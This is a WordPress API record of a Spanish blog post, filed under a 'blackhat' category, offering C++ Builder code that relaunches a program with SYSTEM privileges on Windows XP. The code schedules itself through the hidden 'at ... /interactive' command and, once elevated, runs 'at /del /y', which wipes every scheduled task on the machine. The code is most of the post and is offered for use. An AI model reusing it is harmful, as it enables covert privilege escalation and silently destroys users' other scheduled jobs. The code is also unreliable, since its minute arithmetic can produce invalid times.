{"id":450,"date":"2026-03-08T19:30:32","date_gmt":"2026-03-08T19:30:32","guid":{"rendered":"https:\/\/hackcuba.net\/?p=450"},"modified":"2026-03-08T19:30:32","modified_gmt":"2026-03-08T19:30:32","slug":"correr-como-system","status":"publish","type":"post","link":"https:\/\/hackcuba.net\/?p=450","title":{"rendered":"Correr como SYSTEM"},"content":{"rendered":"\n<p>Este c\u00f3digo permite que nuestro programa corra con privilegios de SYSTEM en Windows XP. Para ello debe ser ejecutado por un usuario administrador; desde una cuenta limitada no funcionar\u00e1. Comprender el funcionamiento de este c\u00f3digo requiere conocer el comando <code>AT<\/code> de XP y su uso en escaladas de privilegio. No toco el tema aqu\u00ed porque est\u00e1 bien tratado en muchos documentos. S\u00f3lo hay que saber que todo lo que <code>AT<\/code> ejecute lo har\u00e1 como SYSTEM.<\/p>\n\n\n\n<!--more-->\n\n\n\n<p>No s\u00e9 c\u00f3mo trabajar\u00e1 fuera de XP. De cualquier forma, ser\u00eda bueno verificar la versi\u00f3n del sistema operativo en que se est\u00e1 antes de llamar la funci\u00f3n. No he tenido oportunidad a\u00fan de darle uso a este c\u00f3digo, de modo que me he limitado s\u00f3lo a hacerle algunas pruebas. Si alguien detecta alg\u00fan <em>bug<\/em> o comportamiento inapropiado le agradecer\u00eda que me lo hiciera saber. Tambi\u00e9n, si alguien se toma la molestia de probarlo fuera de XP, ser\u00eda bueno que me informaran los resultados.<\/p>\n\n\n\n<p>Llama a esta funci\u00f3n desde el <code>OnCreate<\/code> de tu formulario y corre el programa. Inmediatamente se cerrar\u00e1 y si esperas un minuto o menos ver\u00e1s c\u00f3mo se vuelve a abrir por s\u00ed mismo; esta vez en la lista de procesos ver\u00e1s <em>Nombre de Usuario \u00abSYSTEM\u00bb<\/em>.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nvoid RunAsSystem()\n{\n  char Buffer&#x5B;100];\n  DWORD dwSize = 100;\n  GetUserNameA(Buffer,&amp;dwSize);\n\n   \/\/si el nombre de usuario actual es distinto de SYSTEM\n  if (strcmp(Buffer,&quot;SYSTEM&quot;))\n  {\n    TTime CurrentTime;\n    CurrentTime = Time();\n       \/\/tomas los datos de la hora actual\n    int Hour = StrToInt(CurrentTime.FormatString(&quot;h&quot;));\n    int Minutes = StrToInt(CurrentTime.FormatString(&quot;n&quot;));\n    String sM = CurrentTime.FormatString(&quot;a\/p&quot;);\n       \/\/formato del comando para ejecutarse un minuto despu\u00e9s que se escribi\u00f3\n       \/\/ at hh:mm+1 \/interactive programa.exe\n    String AtTime = IntToStr(Hour)+&quot;:&quot;+IntToStr(Minutes+1) ;\n    String CommandLine = &quot;at &quot;+ AtTime + &quot; \/interactive \\&quot;&quot; + Application-&gt;ExeName + &quot;\\&quot;&quot;;\n    WinExec( CommandLine.c_str() ,SW_HIDE);\n    Application-&gt;Terminate();\n  }\n  else\n  {\n\n   \/\/limpia la lista de tareas si ya se est\u00e1 como SYSTEM\n  WinExec(&quot;at \/del \/y&quot;,SW_HIDE);\n  }\n}\n<\/pre><\/div>","protected":false},"excerpt":{"rendered":"<p>Este c\u00f3digo permite que nuestro programa corra con privilegios de SYSTEM en Windows XP. Para ello debe ser<\/p>\n","protected":false},"author":2,"featured_media":354,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,36],"tags":[60,88,38],"class_list":["post-450","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-codigos","category-proyecto-blackhat","tag-c","tag-codigos","tag-proyecto-blackhat"],"_links":{"self":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=450"}],"version-history":[{"count":1,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/450\/revisions"}],"predecessor-version":[{"id":451,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/450\/revisions\/451"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/media\/354"}],"wp:attachment":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}